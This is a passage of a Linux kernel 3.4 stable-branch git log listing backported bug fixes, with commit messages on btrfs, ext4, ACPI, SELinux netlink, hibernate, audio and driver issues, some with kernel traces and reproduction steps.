    allocate sufficient space for the entire binary which means that, while
    the first PT_LOAD segment is mapped below mm->mmap_base, the subsequent
    PT_LOAD segment(s) end up being mapped above mm->mmap_base into the are
    that is supposed to be the "gap" between the stack and the binary.
    
    Since the size of the "gap" on x86_64 is only guaranteed to be 128MB this
    means that binaries with large data segments > 128MB can end up mapping
    part of their data segment over their stack resulting in corruption of the
    stack (and the data segment once the binary starts to run).
    
    Any PIE binary with a data segment > 128MB is vulnerable to this although
    address randomization means that the actual gap between the stack and the
    end of the binary is normally greater than 128MB.  The larger the data
    segment of the binary the higher the probability of failure.
    
    Fix this by calculating the total size of the binary in the same way as
    load_elf_interp().
    
    Signed-off-by: Michael Davidson <md@google.com>
    Cc: Alexander Viro <viro@zeniv.linux.org.uk>
    Cc: Jiri Kosina <jkosina@suse.cz>
    Cc: Kees Cook <keescook@chromium.org>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit c77676b7c6667e044ef4e5cc692cdb18d69df646
Author: Lv Zheng <lv.zheng@intel.com>
Date:   Mon Apr 13 11:48:58 2015 +0800

    ACPICA: Utilities: split IO address types from data type models.
    
    commit 2b8760100e1de69b6ff004c986328a82947db4ad upstream.
    
    ACPICA commit aacf863cfffd46338e268b7415f7435cae93b451
    
    It is reported that on a physically 64-bit addressed machine, 32-bit kernel
    can trigger crashes in accessing the memory regions that are beyond the
    32-bit boundary. The region field's start address should still be 32-bit
    compliant, but after a calculation (adding some offsets), it may exceed the
    32-bit boundary. This case is rare and buggy, but there are real BIOSes
    leaked with such issues (see References below).
    
    This patch fixes this gap by always defining IO addresses as 64-bit, and
    allows OSPMs to optimize it for a real 32-bit machine to reduce the size of
    the internal objects.
    
    Internal acpi_physical_address usages in the structures that can be fixed
    by this change include:
     1. struct acpi_object_region:
        acpi_physical_address		address;
     2. struct acpi_address_range:
        acpi_physical_address		start_address;
        acpi_physical_address		end_address;
     3. struct acpi_mem_space_context;
        acpi_physical_address		address;
     4. struct acpi_table_desc
        acpi_physical_address		address;
    See known issues 1 for other usages.
    
    Note that acpi_io_address which is used for ACPI_PROCESSOR may also suffer
    from same problem, so this patch changes it accordingly.
    
    For iasl, it will enforce acpi_physical_address as 32-bit to generate
    32-bit OSPM compatible tables on 32-bit platforms, we need to define
    ACPI_32BIT_PHYSICAL_ADDRESS for it in acenv.h.
    
    Known issues:
     1. Cleanup of mapped virtual address
       In struct acpi_mem_space_context, acpi_physical_address is used as a virtual
       address:
        acpi_physical_address                   mapped_physical_address;
       It is better to introduce acpi_virtual_address or use acpi_size instead.
       This patch doesn't make such a change. Because this should be done along
       with a change to acpi_os_map_memory()/acpi_os_unmap_memory().
       There should be no functional problem to leave this unchanged except
       that only this structure is enlarged unexpectedly.
    
    Link: https://github.com/acpica/acpica/commit/aacf863c
    Reference: https://bugzilla.kernel.org/show_bug.cgi?id=87971
    Reference: https://bugzilla.kernel.org/show_bug.cgi?id=79501
    Reported-and-tested-by: Paul Menzel <paulepanter@users.sourceforge.net>
    Reported-and-tested-by: Sial Nije <sialnije@gmail.com>
    Signed-off-by: Lv Zheng <lv.zheng@intel.com>
    Signed-off-by: Bob Moore <robert.moore@intel.com>
    Signed-off-by: Rafael J. Wysocki <rafael.j.wysocki@intel.com>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 3e6102f91bb7073fb07aaf11068595d1a284c7a8
Author: Anton Blanchard <anton@samba.org>
Date:   Tue Apr 14 07:51:03 2015 +1000

    powerpc/perf: Cap 64bit userspace backtraces to PERF_MAX_STACK_DEPTH
    
    commit 9a5cbce421a283e6aea3c4007f141735bf9da8c3 upstream.
    
    We cap 32bit userspace backtraces to PERF_MAX_STACK_DEPTH
    (currently 127), but we forgot to do the same for 64bit backtraces.
    
    Signed-off-by: Anton Blanchard <anton@samba.org>
    Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit c9ff0e39da0903f48ef93983f84338674192936b
Author: Filipe Manana <fdmanana@suse.com>
Date:   Mon Mar 30 18:23:59 2015 +0100

    Btrfs: fix inode eviction infinite loop after cloning into it
    
    commit ccccf3d67294714af2d72a6fd6fd7d73b01c9329 upstream.
    
    If we attempt to clone a 0 length region into a file we can end up
    inserting a range in the inode's extent_io tree with a start offset
    that is greater then the end offset, which triggers immediately the
    following warning:
    
    [ 3914.619057] WARNING: CPU: 17 PID: 4199 at fs/btrfs/extent_io.c:435 insert_state+0x4b/0x10b [btrfs]()
    [ 3914.620886] BTRFS: end < start 4095 4096
    (...)
    [ 3914.638093] Call Trace:
    [ 3914.638636]  [<ffffffff81425fd9>] dump_stack+0x4c/0x65
    [ 3914.639620]  [<ffffffff81045390>] warn_slowpath_common+0xa1/0xbb
    [ 3914.640789]  [<ffffffffa03ca44f>] ? insert_state+0x4b/0x10b [btrfs]
    [ 3914.642041]  [<ffffffff810453f0>] warn_slowpath_fmt+0x46/0x48
    [ 3914.643236]  [<ffffffffa03ca44f>] insert_state+0x4b/0x10b [btrfs]
    [ 3914.644441]  [<ffffffffa03ca729>] __set_extent_bit+0x107/0x3f4 [btrfs]
    [ 3914.645711]  [<ffffffffa03cb256>] lock_extent_bits+0x65/0x1bf [btrfs]
    [ 3914.646914]  [<ffffffff8142b2fb>] ? _raw_spin_unlock+0x28/0x33
    [ 3914.648058]  [<ffffffffa03cbac4>] ? test_range_bit+0xcc/0xde [btrfs]
    [ 3914.650105]  [<ffffffffa03cb3c3>] lock_extent+0x13/0x15 [btrfs]
    [ 3914.651361]  [<ffffffffa03db39e>] lock_extent_range+0x3d/0xcd [btrfs]
    [ 3914.652761]  [<ffffffffa03de1fe>] btrfs_ioctl_clone+0x278/0x388 [btrfs]
    [ 3914.654128]  [<ffffffff811226dd>] ? might_fault+0x58/0xb5
    [ 3914.655320]  [<ffffffffa03e0909>] btrfs_ioctl+0xb51/0x2195 [btrfs]
    (...)
    [ 3914.669271] ---[ end trace 14843d3e2e622fc1 ]---
    
    This later makes the inode eviction handler enter an infinite loop that
    keeps dumping the following warning over and over:
    
    [ 3915.117629] WARNING: CPU: 22 PID: 4228 at fs/btrfs/extent_io.c:435 insert_state+0x4b/0x10b [btrfs]()
    [ 3915.119913] BTRFS: end < start 4095 4096
    (...)
    [ 3915.137394] Call Trace:
    [ 3915.137913]  [<ffffffff81425fd9>] dump_stack+0x4c/0x65
    [ 3915.139154]  [<ffffffff81045390>] warn_slowpath_common+0xa1/0xbb
    [ 3915.140316]  [<ffffffffa03ca44f>] ? insert_state+0x4b/0x10b [btrfs]
    [ 3915.141505]  [<ffffffff810453f0>] warn_slowpath_fmt+0x46/0x48
    [ 3915.142709]  [<ffffffffa03ca44f>] insert_state+0x4b/0x10b [btrfs]
    [ 3915.143849]  [<ffffffffa03ca729>] __set_extent_bit+0x107/0x3f4 [btrfs]
    [ 3915.145120]  [<ffffffffa038c1e3>] ? btrfs_kill_super+0x17/0x23 [btrfs]
    [ 3915.146352]  [<ffffffff811548f6>] ? deactivate_locked_super+0x3b/0x50
    [ 3915.147565]  [<ffffffffa03cb256>] lock_extent_bits+0x65/0x1bf [btrfs]
    [ 3915.148785]  [<ffffffff8142b7e2>] ? _raw_write_unlock+0x28/0x33
    [ 3915.149931]  [<ffffffffa03bc325>] btrfs_evict_inode+0x196/0x482 [btrfs]
    [ 3915.151154]  [<ffffffff81168904>] evict+0xa0/0x148
    [ 3915.152094]  [<ffffffff811689e5>] dispose_list+0x39/0x43
    [ 3915.153081]  [<ffffffff81169564>] evict_inodes+0xdc/0xeb
    [ 3915.154062]  [<ffffffff81154418>] generic_shutdown_super+0x49/0xef
    [ 3915.155193]  [<ffffffff811546d1>] kill_anon_super+0x13/0x1e
    [ 3915.156274]  [<ffffffffa038c1e3>] btrfs_kill_super+0x17/0x23 [btrfs]
    (...)
    [ 3915.167404] ---[ end trace 14843d3e2e622fc2 ]---
    
    So just bail out of the clone ioctl if the length of the region to clone
    is zero, without locking any extent range, in order to prevent this issue
    (same behaviour as a pwrite with a 0 length for example).
    
    This is trivial to reproduce. For example, the steps for the test I just
    made for fstests:
    
      mkfs.btrfs -f SCRATCH_DEV
      mount SCRATCH_DEV $SCRATCH_MNT
    
      touch $SCRATCH_MNT/foo
      touch $SCRATCH_MNT/bar
    
      $CLONER_PROG -s 0 -d 4096 -l 0 $SCRATCH_MNT/foo $SCRATCH_MNT/bar
      umount $SCRATCH_MNT
    
    A test case for fstests follows soon.
    
    Signed-off-by: Filipe Manana <fdmanana@suse.com>
    Reviewed-by: Omar Sandoval <osandov@osandov.com>
    Signed-off-by: Chris Mason <clm@fb.com>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit c773eee8d24f5c376f33ba12e2d41cec6f587117
Author: Heiko Carstens <heiko.carstens@de.ibm.com>
Date:   Wed Mar 25 10:13:33 2015 +0100

    s390/hibernate: fix save and restore of kernel text section
    
    commit d74419495633493c9cd3f2bbeb7f3529d0edded6 upstream.
    
    Sebastian reported a crash caused by a jump label mismatch after resume.
    This happens because we do not save the kernel text section during suspend
    and therefore also do not restore it during resume, but use the kernel image
    that restores the old system.
    
    This means that after a suspend/resume cycle we lost all modifications done
    to the kernel text section.
    The reason for this is the pfn_is_nosave() function, which incorrectly
    returns that read-only pages don't need to be saved. This is incorrect since
    we mark the kernel text section read-only.
    We still need to make sure to not save and restore pages contained within
    NSS and DCSS segment.
    To fix this add an extra case for the kernel text section and only save
    those pages if they are not contained within an NSS segment.
    
    Fixes the following crash (and the above bugs as well):
    
    Jump label code mismatch at netif_receive_skb_internal+0x28/0xd0
    Found:    c0 04 00 00 00 00
    Expected: c0 f4 00 00 00 11
    New:      c0 04 00 00 00 00
    Kernel panic - not syncing: Corrupted kernel text
    CPU: 0 PID: 9 Comm: migration/0 Not tainted 3.19.0-01975-gb1b096e70f23 #4
    Call Trace:
      [<0000000000113972>] show_stack+0x72/0xf0
      [<000000000081f15e>] dump_stack+0x6e/0x90
      [<000000000081c4e8>] panic+0x108/0x2b0
      [<000000000081be64>] jump_label_bug.isra.2+0x104/0x108
      [<0000000000112176>] __jump_label_transform+0x9e/0xd0
      [<00000000001121e6>] __sm_arch_jump_label_transform+0x3e/0x50
      [<00000000001d1136>] multi_cpu_stop+0x12e/0x170
      [<00000000001d1472>] cpu_stopper_thread+0xb2/0x168
      [<000000000015d2ac>] smpboot_thread_fn+0x134/0x1b0
      [<0000000000158baa>] kthread+0x10a/0x110
      [<0000000000824a86>] kernel_thread_starter+0x6/0xc
    
    Reported-and-tested-by: Sebastian Ott <sebott@linux.vnet.ibm.com>
    Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com>
    Signed-off-by: Martin Schwidefsky <schwidefsky@de.ibm.com>
    [lizf: Backported to 3.4: add necessary includes]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 6ebf0333cccc1d41983a8d54a1a8da229d5c5a7d
Author: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Date:   Fri Apr 10 16:24:28 2015 +0200

    selinux/nlmsg: add XFRM_MSG_MAPPING
    
    commit bd2cba07381a6dba60bc1c87ed8b37931d244da1 upstream.
    
    This command is missing.
    
    Fixes: 3a2dfbe8acb1 ("xfrm: Notify changes in UDP encapsulation via netlink")
    CC: Martin Willi <martin@strongswan.org>
    Reported-by: Stephen Smalley <sds@tycho.nsa.gov>
    Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit fa0ed22636c93a4b5b2fb670e014e6dbc1b97c2e
Author: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Date:   Fri Apr 10 16:24:27 2015 +0200

    selinux/nlmsg: add XFRM_MSG_MIGRATE
    
    commit 8d465bb777179c4bea731b828ec484088cc9fbc1 upstream.
    
    This command is missing.
    
    Fixes: 5c79de6e79cd ("[XFRM]: User interface for handling XFRM_MSG_MIGRATE")
    Reported-by: Stephen Smalley <sds@tycho.nsa.gov>
    Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 0fcabf0bbb38ad0fd1951c43d80a6bf7c4720a7f
Author: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Date:   Fri Apr 10 16:24:26 2015 +0200

    selinux/nlmsg: add XFRM_MSG_REPORT
    
    commit b0b59b0056acd6f157a04cc895f7e24692fb08aa upstream.
    
    This command is missing.
    
    Fixes: 97a64b4577ae ("[XFRM]: Introduce XFRM_MSG_REPORT.")
    Reported-by: Stephen Smalley <sds@tycho.nsa.gov>
    Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 5099fabbd6c12da280f7d479e7669d8316b01788
Author: Dave Olson <olson@cumulusnetworks.com>
Date:   Thu Apr 2 21:28:45 2015 -0700

    powerpc: Fix missing L2 cache size in /sys/devices/system/cpu
    
    commit f7e9e358362557c3aa2c1ec47490f29fe880a09e upstream.
    
    This problem appears to have been introduced in 2.6.29 by commit
    93197a36a9c1 "Rewrite sysfs processor cache info code".
    
    This caused lscpu to error out on at least e500v2 devices, eg:
    
      error: cannot open /sys/devices/system/cpu/cpu0/cache/index2/size: No such file or directory
    
    Some embedded powerpc systems use cache-size in DTS for the unified L2
    cache size, not d-cache-size, so we need to allow for both DTS names.
    Added a new CACHE_TYPE_UNIFIED_D cache_type_info structure to handle
    this.
    
    Fixes: 93197a36a9c1 ("powerpc: Rewrite sysfs processor cache info code")
    Signed-off-by: Dave Olson <olson@cumulusnetworks.com>
    Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit b645f1d3617f056019c9f0bcf65e9aebdabc7e56
Author: Huacai Chen <chenhc@lemote.com>
Date:   Sun Mar 29 10:54:05 2015 +0800

    MIPS: Hibernate: flush TLB entries earlier
    
    commit a843d00d038b11267279e3b5388222320f9ddc1d upstream.
    
    We found that TLB mismatch not only happens after kernel resume, but
    also happens during snapshot restore. So move it to the beginning of
    swsusp_arch_suspend().
    
    Signed-off-by: Huacai Chen <chenhc@lemote.com>
    Cc: Steven J. Hill <Steven.Hill@imgtec.com>
    Cc: linux-mips@linux-mips.org
    Cc: Fuxin Zhang <zhangfx@lemote.com>
    Cc: Zhangjin Wu <wuzhangjin@gmail.com>
    Patchwork: https://patchwork.linux-mips.org/patch/9621/
    Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 4ba8f6690e4527d237f05f9f0e949add2742a796
Author: Michael Gernoth <michael@gernoth.net>
Date:   Thu Apr 9 23:42:15 2015 +0200

    ALSA: emu10k1: don't deadlock in proc-functions
    
    commit 91bf0c2dcb935a87e5c0795f5047456b965fd143 upstream.
    
    The functions snd_emu10k1_proc_spdif_read and snd_emu1010_fpga_read
    acquire the emu_lock before accessing the FPGA. The function used
    to access the FPGA (snd_emu1010_fpga_read) also tries to take
    the emu_lock which causes a deadlock.
    Remove the outer locking in the proc-functions (guarding only the
    already safe fpga read) to prevent this deadlock.
    
    [removed superfluous flags variables too -- tiwai]
    
    Signed-off-by: Michael Gernoth <michael@gernoth.net>
    Signed-off-by: Takashi Iwai <tiwai@suse.de>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 0752fa6ecb51ee1f546c9386d937d0d26884b7b4
Author: K. Y. Srinivasan <kys@microsoft.com>
Date:   Fri Mar 27 00:27:18 2015 -0700

    scsi: storvsc: Fix a bug in copy_from_bounce_buffer()
    
    commit 8de580742fee8bc34d116f57a20b22b9a5f08403 upstream.
    
    We may exit this function without properly freeing up the maapings
    we may have acquired. Fix the bug.
    
    Signed-off-by: K. Y. Srinivasan <kys@microsoft.com>
    Reviewed-by: Long Li <longli@microsoft.com>
    Signed-off-by: James Bottomley <JBottomley@Odin.com>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit c53202b9bdc897f358cbf3dd6c1fe8df8ccb9cf0
Author: Aravind Gopalakrishnan <Aravind.Gopalakrishnan@amd.com>
Date:   Thu Apr 9 10:51:48 2015 +0200

    x86/iommu: Fix header comments regarding standard and _FINISH macros
    
    commit b44915927ca88084a7292e4ddd4cf91036f365e1 upstream.
    
    The comment line regarding IOMMU_INIT and IOMMU_INIT_FINISH
    macros is incorrect:
    
      "The standard vs the _FINISH differs in that the _FINISH variant
      will continue detecting other IOMMUs in the call list..."
    
    It should be "..the *standard* variant will continue
    detecting..."
    
    Fix that. Also, make it readable while at it.
    
    Signed-off-by: Aravind Gopalakrishnan <Aravind.Gopalakrishnan@amd.com>
    Signed-off-by: Borislav Petkov <bp@suse.de>
    Cc: H. Peter Anvin <hpa@zytor.com>
    Cc: Thomas Gleixner <tglx@linutronix.de>
    Cc: konrad.wilk@oracle.com
    Fixes: 6e9636693373 ("x86, iommu: Update header comments with appropriate naming")
    Link: http://lkml.kernel.org/r/1428508017-5316-1-git-send-email-Aravind.Gopalakrishnan@amd.com
    Signed-off-by: Ingo Molnar <mingo@kernel.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit ac18a5350cf80c0db90d71fbed78b8c5d4a367c5
Author: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Date:   Wed Apr 8 18:36:42 2015 +0200

    selinux/nlmsg: add XFRM_MSG_[NEW|GET]SADINFO
    
    commit 5b5800fad072133e4a9c2efbf735baaac83dec86 upstream.
    
    These commands are missing.
    
    Fixes: 28d8909bc790 ("[XFRM]: Export SAD info.")
    Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 7cddc7d7e8a685682778763e35a0487a25153ca6
Author: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Date:   Wed Apr 8 18:36:41 2015 +0200

    selinux/nlmsg: add XFRM_MSG_GETSPDINFO
    
    commit 5e6deebafb45fb271ae6939d48832e920b8fb74e upstream.
    
    This command is missing.
    
    Fixes: ecfd6b183780 ("[XFRM]: Export SPD info")
    Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit fdea68e1782a1405e7b8cc1b9621d61fcf97400a
Author: Sowmini Varadhan <sowmini.varadhan@oracle.com>
Date:   Wed Apr 8 12:33:45 2015 -0400

    RDS: Documentation: Document AF_RDS, PF_RDS and SOL_RDS correctly.
    
    commit ebe96e641dee2cbd135ee802ae7e40c361640088 upstream.
    
    AF_RDS, PF_RDS and SOL_RDS are available in header files,
    and there is no need to get their values from /proc. Document
    this correctly.
    
    Fixes: 0c5f9b8830aa ("RDS: Documentation")
    
    Signed-off-by: Sowmini Varadhan <sowmini.varadhan@oracle.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 8ee451098bcbad8fef86ce85fc2dd9a2f218b4be
Author: Ulrik De Bie <ulrik.debie-os@e2big.org>
Date:   Mon Apr 6 15:35:38 2015 -0700

    Input: elantech - fix absolute mode setting on some ASUS laptops
    
    commit bd884149aca61de269fd9bad83fe2a4232ffab21 upstream.
    
    On ASUS TP500LN and X750JN, the touchpad absolute mode is reset each
    time set_rate is done.
    
    In order to fix this, we will verify the firmware version, and if it
    matches the one in those laptops, the set_rate function is overloaded
    with a function elantech_set_rate_restore_reg_07 that performs the
    set_rate with the original function, followed by a restore of reg_07
    (the register that sets the absolute mode on elantech v4 hardware).
    
    Also the ASUS TP500LN and X750JN firmware version, capabilities, and
    button constellation is added to elantech.c
    
    Reported-and-tested-by: George Moutsopoulos <gmoutso@yahoo.co.uk>
    Signed-off-by: Ulrik De Bie <ulrik.debie-os@e2big.org>
    Signed-off-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit ae3668ffeb437e04d7f085ad8f97ce383852ab7c
Author: Alexander Duyck <alexander.h.duyck@redhat.com>
Date:   Tue Mar 31 14:19:10 2015 -0700

    jhash: Update jhash_[321]words functions to use correct initval
    
    commit 2e7056c433216f406b90a003aa0ba42e19d3bdcf upstream.
    
    Looking over the implementation for jhash2 and comparing it to jhash_3words
    I realized that the two hashes were in fact very different.  Doing a bit of
    digging led me to "The new jhash implementation" in which lookup2 was
    supposed to have been replaced with lookup3.
    
    In reviewing the patch I noticed that jhash2 had originally initialized a
    and b to JHASH_GOLDENRATIO and c to initval, but after the patch a, b, and
    c were initialized to initval + (length << 2) + JHASH_INITVAL.  However the
    changes in jhash_3words simply replaced the initialization of a and b with
    JHASH_INITVAL.
    
    This change corrects what I believe was an oversight so that a, b, and c in
    jhash_3words all have the same value added consisting of initval + (length
    << 2) + JHASH_INITVAL so that jhash2 and jhash_3words will now produce the
    same hash result given the same inputs.
    
    Fixes: 60d509c823cca ("The new jhash implementation")
    Signed-off-by: Alexander Duyck <alexander.h.duyck@redhat.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 90b3fc7daf325f7d5b10301562ac2708839cacc7
Author: Lukas Czerner <lczerner@redhat.com>
Date:   Fri Apr 3 10:46:58 2015 -0400

    ext4: make fsync to sync parent dir in no-journal for real this time
    
    commit e12fb97222fc41e8442896934f76d39ef99b590a upstream.
    
    Previously commit 14ece1028b3ed53ffec1b1213ffc6acaf79ad77c added a
    support for for syncing parent directory of newly created inodes to
    make sure that the inode is not lost after a power failure in
    no-journal mode.
    
    However this does not work in majority of cases, namely:
     - if the directory has inline data
     - if the directory is already indexed
     - if the directory already has at least one block and:
    	- the new entry fits into it
    	- or we've successfully converted it to indexed
    
    So in those cases we might lose the inode entirely even after fsync in
    the no-journal mode. This also includes ext2 default mode obviously.
    
    I've noticed this while running xfstest generic/321 and even though the
    test should fail (we need to run fsck after a crash in no-journal mode)
    I could not find a newly created entries even when if it was fsynced
    before.
    
    Fix this by adjusting the ext4_add_entry() successful exit paths to set
    the inode EXT4_STATE_NEWENTRY so that fsync has the chance to fsync the
    parent directory as well.
    
    Signed-off-by: Lukas Czerner <lczerner@redhat.com>
    Signed-off-by: Theodore Ts'o <tytso@mit.edu>
    Reviewed-by: Jan Kara <jack@suse.cz>
    Cc: Frank Mayhar <fmayhar@google.com>
    [lizf: Backported to 3.4: remove a change from return to goto, as that
    doesn't exist in 3.4]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit ba115ad122eca872197ce2235caa57e0314fb370
Author: Pascal Huerst <pascal.huerst@gmail.com>
Date:   Thu Apr 2 10:17:40 2015 +0200

    ASoC: cs4271: Increase delay time after reset
    
    commit 74ff960222d90999508b4ba0d3449f796695b6d5 upstream.
    
    The delay time after a reset in the codec probe callback was too short,
    and did not work on certain hw because the codec needs more time to
    power on. This increases the delay time from 1us to 1ms.
    
    Signed-off-by: Pascal Huerst <pascal.huerst@gmail.com>
    Acked-by: Brian Austin <brian.austin@cirrus.com>
    Signed-off-by: Mark Brown <broonie@kernel.org>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 971fb0e210d8ea24e453f111341724807e491f3e
Author: Larry Finger <Larry.Finger@lwfinger.net>
Date:   Mon Mar 23 18:14:10 2015 -0500

    rtlwifi: rtl8192cu: Add new USB ID
    
    commit 2f92b314f4daff2117847ac5343c54d3d041bf78 upstream.
    
    USB ID 2001:330d is used for a D-Link DWA-131.
    
    Signed-off-by: Larry Finger <Larry.Finger@lwfinger.net>
    Signed-off-by: Kalle Valo <kvalo@codeaurora.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit c2e9312c00c9c29b5808255d149e4c63a8985795
Author: Andrey Ryabinin <a.ryabinin@samsung.com>
Date:   Fri Mar 20 15:42:27 2015 +0100

    ARM: 8320/1: fix integer overflow in ELF_ET_DYN_BASE
    
    commit 8defb3367fcd19d1af64c07792aade0747b54e0f upstream.
    
    Usually ELF_ET_DYN_BASE is 2/3 of TASK_SIZE. With 3G/1G user/kernel
    split this is not so, because 2*TASK_SIZE overflows 32 bits,
    so the actual value of ELF_ET_DYN_BASE is:
    	(2 * TASK_SIZE / 3) = 0x2a000000
    
    When ASLR is disabled PIE binaries will load at ELF_ET_DYN_BASE address.
    On 32bit platforms AddressSanitzer uses addresses [0x20000000 - 0x40000000]
    for shadow memory [1]. So ASan doesn't work for PIE binaries when ASLR disabled
    as it fails to map shadow memory.
    Also after Kees's 'split ET_DYN ASLR from mmap ASLR' patchset PIE binaries
    has a high chance of loading somewhere in between [0x2a000000 - 0x40000000]
    even if ASLR enabled. This makes ASan with PIE absolutely incompatible.
    
    Fix overflow by dividing TASK_SIZE prior to multiplying.
    After this patch ELF_ET_DYN_BASE equals to (for CONFIG_VMSPLIT_3G=y):
    	(TASK_SIZE / 3 * 2) = 0x7f555554
    
    [1] https://code.google.com/p/address-sanitizer/wiki/AddressSanitizerAlgorithm#Mapping
    
    Signed-off-by: Andrey Ryabinin <a.ryabinin@samsung.com>
    Reported-by: Maria Guseva <m.guseva@samsung.com>
    Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 60ba3db7e79d02325f0ba2a11246c74e30427d41
Author: David Sterba <dsterba@suse.cz>
Date:   Wed Mar 25 19:26:41 2015 +0100

    btrfs: don't accept bare namespace as a valid xattr
    
    commit 3c3b04d10ff1811a27f86684ccd2f5ba6983211d upstream.
    
    Due to insufficient check in btrfs_is_valid_xattr, this unexpectedly
    works:
    
     $ touch file
     $ setfattr -n user. -v 1 file
     $ getfattr -d file
    user.="1"
    
    ie. the missing attribute name after the namespace.
    
    Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=94291
    Reported-by: William Douglas <william.douglas@intel.com>
    Signed-off-by: David Sterba <dsterba@suse.cz>
    Signed-off-by: Chris Mason <clm@fb.com>
    [lizf: Backported to 3.4:
     - 3.4 doesn't support XATTR_BTRFS_PREFIX]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit abe62247e0fd8ae561d13d803267241143ececa1
Author: Filipe Manana <fdmanana@suse.com>
Date:   Mon Mar 23 14:07:40 2015 +0000

    Btrfs: fix log tree corruption when fs mounted with -o discard
    
    commit dcc82f4783ad91d4ab654f89f37ae9291cdc846a upstream.
    
    While committing a transaction we free the log roots before we write the
    new super block. Freeing the log roots implies marking the disk location
    of every node/leaf (metadata extent) as pinned before the new super block
    is written. This is to prevent the disk location of log metadata extents
    from being reused before the new super block is written, otherwise we
    would have a corrupted log tree if before the new super block is written
    a crash/reboot happens and the location of any log tree metadata extent
    ended up being reused and rewritten.
    
    Even though we pinned the log tree's metadata extents, we were issuing a
    discard against them if the fs was mounted with the -o discard option,
    resulting in corruption of the log tree if a crash/reboot happened before
    writing the new super block - the next time the fs was mounted, during
    the log replay process we would find nodes/leafs of the log btree with
    a content full of zeroes, causing the process to fail and require the
    use of the tool btrfs-zero-log to wipeout the log tree (and all data
    previously fsynced becoming lost forever).
    
    Fix this by not doing a discard when pinning an extent. The discard will
    be done later when it's safe (after the new super block is committed) at
    extent-tree.c:btrfs_finish_extent_commit().
    
    Fixes: e688b7252f78 (Btrfs: fix extent pinning bugs in the tree log)
    Signed-off-by: Filipe Manana <fdmanana@suse.com>
    Signed-off-by: Chris Mason <clm@fb.com>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 7fd83f326fb8d0da3f59f704fd6bb27e457aa9df
Author: K. Y. Srinivasan <kys@microsoft.com>
Date:   Thu Mar 19 08:11:34 2015 -0700

    Drivers: hv: vmbus: Don't wait after requesting offers
    
    commit 73cffdb65e679b98893f484063462c045adcf212 upstream.
    
    Don't wait after sending request for offers to the host. This wait is
    unnecessary and simply adds 5 seconds to the boot time.
    
    Signed-off-by: K. Y. Srinivasan <kys@microsoft.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit a96bd4f8531509f9889d6b05142e24fbbee58995
Author: Nishanth Menon <nm@ti.com>
Date:   Sat Mar 7 03:39:05 2015 -0600

    C6x: time: Ensure consistency in __init
    
    commit f4831605f2dacd12730fe73961c77253cc2ea425 upstream.
    
    time_init invokes timer64_init (which is __init annotation)
    since all of these are invoked at init time, lets maintain
    consistency by ensuring time_init is marked appropriately
    as well.
    
    This fixes the following warning with CONFIG_DEBUG_SECTION_MISMATCH=y
    
    WARNING: vmlinux.o(.text+0x3bfc): Section mismatch in reference from the function time_init() to the function .init.text:timer64_init()
    The function time_init() references
    the function __init timer64_init().
    This is often because time_init lacks a __init
    annotation or the annotation of timer64_init is wrong.
    
    Fixes: 546a39546c64 ("C6X: time management")
    Signed-off-by: Nishanth Menon <nm@ti.com>
    Signed-off-by: Mark Salter <msalter@redhat.com>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 89873945d59c9b492bbbe8c636f851f633247046
Author: Brian Norris <computersforpeace@gmail.com>
Date:   Sat Feb 28 02:23:28 2015 -0800

    UBI: fix check for "too many bytes"
    
